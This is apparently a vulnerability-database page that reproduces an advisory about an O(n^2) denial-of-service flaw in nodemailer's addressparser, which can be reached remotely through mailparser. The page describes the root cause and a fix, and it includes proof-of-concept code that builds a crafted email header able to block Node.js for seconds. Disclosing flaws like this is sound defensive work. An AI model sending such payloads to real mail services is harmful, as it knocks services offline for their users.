GHSA-PRGH-XP8R-P3M5

Vulnerability from github – Published: 2026-09-30 14:41 – Updated: 2026-10-05 23:30
VLAI
Summary
Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)
Details

Summary

nodemailer/lib/addressparser parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.

Details

The parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like a@b(c)@b(c)@b(c)..., every atom re-joins that same growing string.

The join check in src/addressparser/index.ts:

const joins =
    prevToken &&
    prevToken.noBreak &&
    parts.length &&
    (prevToken.value !== ')' || parts[parts.length - 1].slice(-1) === '@' || token.value.charAt(0) === '@');

The issue is the order of the last two operands. parts[parts.length - 1].slice(-1) runs before the cheap token.value.charAt(0). slice(-1) has to flatten the accumulator to read its last character → O(current length) → and that runs on every token → O(n^2) over the whole value. Since || is left to right, the cheap charAt(0) that would short-circuit never gets the chance.

The chain: long comment-joined address → one growing accumulator → slice(-1) re-flattens it on every token → quadratic parse time.

PoC

Isolated, just the parser (npm i nodemailer@10.0.3):

const addressparser = require('nodemailer/lib/addressparser');
const s = Date.now();
addressparser('a' + '@b(c)'.repeat(130000));
console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking

End to end through mailparser, the remote path (npm i mailparser@3.9.24):

const { simpleParser } = require('mailparser');
(async () => {
  const to = 'a' + '@b(c)'.repeat(130000);
  const eml = `From: a@b.com\r\nTo: ${to}\r\nSubject: x\r\n\r\nhi\r\n`;
  const s = Date.now();
  await simpleParser(eml);
  console.log(Date.now() - s, 'ms'); // ~7000 ms, blocking
})();

Timings measured on 10.0.3:

Address value Parse time
390 KB 1.3 s
585 KB 5.6 s
640 KB 6.7 s
976 KB 18 s

It survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every )+@ junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.

Impact

Algorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.

Affected: anything that runs addressparser on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound To/From/Cc with no length cap, so any service parsing inbound mail with it can be frozen by a single email.

Suggested fix

Swap the last two operands so the cheap check runs first:

(prevToken.value !== ')' || token.value.charAt(0) === '@' || parts[parts.length - 1].slice(-1) === '@')

Pure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 10.0.4"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.1.0"
            },
            {
              "fixed": "10.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-90776"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-30T14:41:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`nodemailer/lib/addressparser` parses one shape of address in O(n^2) time. A single ~640 KB address value blocks the Node.js event loop for roughly 7 seconds. And it is reachable without auth: mailparser feeds inbound email headers straight into this parser, so one crafted email is enough to stall a service that parses mail.\n\n### Details\n\nThe parser builds a single address by accumulating its atoms into one string. When the atoms are separated by RFC 5322 comments, like `a@b(c)@b(c)@b(c)...`, every atom re-joins that same growing string.\n\nThe join check in `src/addressparser/index.ts`:\n\n```js\nconst joins =\n    prevToken \u0026\u0026\n    prevToken.noBreak \u0026\u0026\n    parts.length \u0026\u0026\n    (prevToken.value !== \u0027)\u0027 || parts[parts.length - 1].slice(-1) === \u0027@\u0027 || token.value.charAt(0) === \u0027@\u0027);\n```\n\nThe issue is the order of the last two operands. `parts[parts.length - 1].slice(-1)` runs before the cheap `token.value.charAt(0)`. `slice(-1)` has to flatten the accumulator to read its last character \u2192 O(current length) \u2192 and that runs on every token \u2192 O(n^2) over the whole value. Since `||` is left to right, the cheap `charAt(0)` that would short-circuit never gets the chance.\n\nThe chain: long comment-joined address \u2192 one growing accumulator \u2192 `slice(-1)` re-flattens it on every token \u2192 quadratic parse time.\n\n### PoC\n\nIsolated, just the parser (`npm i nodemailer@10.0.3`):\n\n```js\nconst addressparser = require(\u0027nodemailer/lib/addressparser\u0027);\nconst s = Date.now();\naddressparser(\u0027a\u0027 + \u0027@b(c)\u0027.repeat(130000));\nconsole.log(Date.now() - s, \u0027ms\u0027); // ~7000 ms, blocking\n```\n\nEnd to end through mailparser, the remote path (`npm i mailparser@3.9.24`):\n\n```js\nconst { simpleParser } = require(\u0027mailparser\u0027);\n(async () =\u003e {\n  const to = \u0027a\u0027 + \u0027@b(c)\u0027.repeat(130000);\n  const eml = `From: a@b.com\\r\\nTo: ${to}\\r\\nSubject: x\\r\\n\\r\\nhi\\r\\n`;\n  const s = Date.now();\n  await simpleParser(eml);\n  console.log(Date.now() - s, \u0027ms\u0027); // ~7000 ms, blocking\n})();\n```\n\nTimings measured on 10.0.3:\n\n| Address value | Parse time |\n| --- | --- |\n| 390 KB | 1.3 s |\n| 585 KB | 5.6 s |\n| 640 KB | 6.7 s |\n| 976 KB | 18 s |\n\nIt survives RFC 5322 folding: fold the header at offsets that are a multiple of the atom length and every `)`+`@` junction stays intact, so the payload is a standards-compliant email with lines under 998 octets and still triggers it.\n\n### Impact\n\nAlgorithmic-complexity DoS. Node is single threaded, so the block stalls everything else in the process, and a handful of these back to back keeps a service down.\n\nAffected: anything that runs `addressparser` on attacker-controlled input, either the public export directly or address headers built from user input. The unauthenticated remote case is mailparser. 3.9.24 pins nodemailer 10.0.3 and calls the parser on inbound `To`/`From`/`Cc` with no length cap, so any service parsing inbound mail with it can be frozen by a single email.\n\n### Suggested fix\n\nSwap the last two operands so the cheap check runs first:\n\n```js\n(prevToken.value !== \u0027)\u0027 || token.value.charAt(0) === \u0027@\u0027 || parts[parts.length - 1].slice(-1) === \u0027@\u0027)\n```\n\nPure boolean commutation, so the parse output is identical. Verified byte for byte on the test inputs, and the full 1276-test suite passes.",
  "id": "GHSA-prgh-xp8r-p3m5",
  "modified": "2026-10-05T23:30:09Z",
  "published": "2026-09-30T14:41:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-prgh-xp8r-p3m5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-90776"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/c07f17518d25aca8ab2ad66968dcbca538c24b89"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/releases/tag/v10.0.5"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nodemailer-9.1.0-through-10.0.4-denial-of-service-via-quadratic-address-parsing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer addressparser: O(n^2) on comment-joined addresses enables a remote DoS (reachable via mailparser)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…